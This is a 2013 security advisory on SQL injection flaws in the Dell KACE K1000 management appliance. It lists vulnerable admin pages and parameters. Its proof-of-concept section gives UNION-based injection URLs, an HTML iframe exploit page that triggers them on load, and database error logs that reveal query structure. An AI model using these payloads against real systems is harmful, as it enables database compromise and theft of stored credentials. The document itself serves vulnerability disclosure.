Title:
======
Dell Kace 1000 SMA 5.4.742 - SQL Injection Vulnerabilities
Date:
=====
2013-07-22
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=832
VL-ID:
=====
832
Common Vulnerability Scoring System:
====================================
7.5
Introduction:
=============
Dell KACE is to provide an appliance-based approach to systems management, to create time for systems administration professionals,
while saving money for their companies. Dell KACE Systems Management Appliances are available as both physical and virtual appliances.
The KACE Management Appliance delivers a fully integrated systems management solution, unlike traditional software approaches that
can require complex and time-consuming deployment and maintenance. KACE accomplishes this via an extremely flexible, intelligent
appliance-based architecture that typically deploys in days and is self maintaining. The KACE Management Appliance also provides
direct access to time-saving ITNinja systems management community information using AppDeploy Live, the leading destination for end
point administrators. The result: Comprehensive systems management that is easy-to-use and that can be more economical than software
only alternatives. Read more in the white paper KACE K1000 Management Appliance Architecture: Harnessing the Power of an
Appliance-based Architecture. The KACE Management Appliance is designed for enterprises and business units with up to 20,000 nodes.
(Copy of the Vendor Homepage: http://www.kace.com/products/systems-management-appliance )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerabilities in Dell Kace K1000, Systems Management Appliance.
Report-Timeline:
================
2013-01-24: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2013-02-06: Vendor Notification (Dell Security Team)
2013-02-08: Vendor Response/Feedback (Dell Security Team)
2013-**-**: Vendor Fix/Patch (Dell Security Team)
2013-07-22: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
DELL
Product: Kace K1000 SMA 5.4.70402
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
Multiple SQL Injection vulnerabilities are detected in the Dell Kace K1000, Systems Management Appliance Application.
A SQL Injection vulnerability allows an attacker (remote) to execute/inject SQL commands in the affected application dbms.
The sql injection vulnerabilities are located in the history_log.php, service.php, software.php, settings_network_scan.php,
asset.php, asset_type.php, metering.php and mi.php files. All files are located in the adminui. A remote attacker is able
to inject own sql commands when processing to request the vulnerable TYPE_ID and ID parameters.
Exploitation of the sql injection vulnerabilities requires no or a low privilege application user account and no user interaction.
Successful exploitation of the vulnerability results in database management system & application compromise via remote sql injection attack.
Vulnerable Module(s):
[+] adminui
Vulnerable File(s):
[+] history_log.php
[+] service.php
[+] software.php
[+] settings_network_scan.php
[+] asset.php
[+] asset_type.php
[+] metering.php
[+] mi.php
[+] replshare.php
[+] kbot.php
Vulnerable Parameter(s):
[+] TYPE_ID
[+] ID
Proof of Concept:
=================
The SQL injection vulnerabilities can be exploited by remote attackers without privileged application user account and without required user interaction.
For demonstration or reproduce ...
1.1
PoC:
https://pub37.137.0.0.1:8080/adminui/history_log.php?HISTORY_TYPE=ASSET&TYPE_NAME=Computer&TYPE_ID=7+union+Select+1,2,3,4,5,6,version%28%29,8,9,10,11,12--%20-
1.2
PoC:
https://pub37.137.0.0.1:8080/adminui/service.php?ID=-1211+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20-
1.3
https://pub37.137.0.0.1:8080/adminui/software.php?ID=1291+[SQL-INJECTION!]--
Exploit:
<html>
<head><body><title>Dell Kace 1000 SMA v5.4.70402 - SQL Injection Exploit</title>
<iframe src=https://pub37.137.0.0.1:8080/adminui/history_log.php?HISTORY_TYPE=ASSET&TYPE_NAME=Computer&TYPE_ID=7+union+Select+1,2,3,4,5,
6,version%28%29,8,9,10,11,12--%20- width="600" height"600"><br><iframe src=https://pub37.137.0.0.1:8080/adminui/service.php?ID=-1211+
union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20- width="600" height"600"><br><iframe src=
https://pub37.137.0.0.1:8080/adminui/software.php?ID=1291+[SQL-INJECTION!]-- width="600" height"600"><br>
</body></head>
</html>
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/software.php on line 95:
mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''1291''' at line 1] in EXECUTE("select OS_ID from SOFTWARE_OS_JT where SOFTWARE_ID = '1291''")
1.4
PoC:
https://pub37.137.0.0.1:8080/adminui/settings_network_scan.php?ID=2+[SQL-INJECTION!]--%20-
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/settings_network_scan.php on line 54:
mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1]
in EXECUTE("select * from SCAN_SETTINGS where ID = 2'")
1.5
PoC:
https://pub37.137.0.0.1:8080/adminui/asset.php?ID=2+[SQL-INJECTION!]--%20-
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/Asset.class.php on line 61: mysql error:
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''' at line 3]
in EXECUTE("select *, DATE_FORMAT(CREATED,'%b %d %Y %I:%i:%s %p') as CREATED,
DATE_FORMAT(MODIFIED,'%b %d %Y %I:%i:%s %p') as MODIFIED
from ASSET where ID = 2'")
1.6
PoC:
https://pub37.137.0.0.1:8080/adminui/asset_type.php?ID=5+[SQL-INJECTION!]--%20-
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/AssetType.class.php on line 62: mysql error:
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''5''' at line 1]
in EXECUTE("select * from ASSET_TYPE where ID = '5''")
1.7
PoC:
https://pub37.137.0.0.1:8080/adminui/metering.php?ID=11+[SQL-INJECTION!]--%20-&MONTHS=1
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/metering.php on line 65: mysql error:
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''' at line 2]
in EXECUTE("select LABEL_ID from FS_LABEL_JT
where FS_ID =11'")
1.8
PoC:
https://pub37.137.0.0.1:8080/adminui/mi.php?ID=5
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/mi.php on line 350: mysql error:
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near 'hidden')))' at line 4]
in EXECUTE("select ID,NAME from MACHINE
WHERE ID in ( Select MACHINE_ID from MACHINE_LABEL_JT
where LABEL_ID in ( Select LABEL_ID from MI_LABEL_JT
where MI_ID = '5'' and LABEL_ID in
(select ID from LABEL where TYPE='hidden')))")
1.9
PoC:
https://pub37.137.0.0.1:8080/adminui/replshare.php?ID=1+[SQL-INJECTION!]--%20-
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/include/ReplShare.class.php on line 20: mysql error:
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''' at line 2]
in EXECUTE("select * from REPLICATION_SHARE where ID=1'")
1.10
PoC:
https://pub37.137.0.0.1:8080/adminui/kbot.php?ID=20+[SQL-INJECTION!]--%20-
--- SQL Exception Error Log ---
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/KBot.class.php on line 183: mysql error:
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''20''' at line 15]
in EXECUTE("select k.*, DATE_FORMAT(k.CREATED,'%b %d %Y %I:%i:%s %p'), DATE_FORMAT(k.MODIFIED,'%b %d %Y %I:%i:%s %p'),
unix_timestamp(k.MODIFIED) as MODIFIED_TMSTAMP,
unix_timestamp(k.CREATED) as CREATED_TMSTAMP,
f.ID as FORM_ID, f.FORM_URL, f.FORM_NAME,
s.SCRIPT_TEXT, s.FILE_NAME, s.CHECKSUM, s.TIMEOUT,
s.REMOVE_FILES, s.UPLOAD_FILE, s.UPLOAD_FILE_PATH, s.UPLOAD_FILE_NAME,
k.RUN_AS_USR, k.RUN_AS_PASS_ENC,
k.ALERT_ENABLED, k.ALERT_DIALOG_OPTIONS,
k.ALERT_DIALOG_TIMEOUT, k.ALERT_DIALOG_TIMEOUT_ACTION, k.ALERT_SNOOZE_DURATION, k.ALERT_MESSAGE
from KBOT k
left join KBOT_FORM f
on k.ID = f.KBOT_ID
left join KBOT_SHELL_SCRIPT s
on k.ID = s.KBOT_ID
where k.ID = '20''")
Risk:
=====
The security risk of the remote sql injection web vulnerabilities are estimated as critical.
Credits:
========
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) ibrahim@evolution-sec.com]
Disclaimer:
===========
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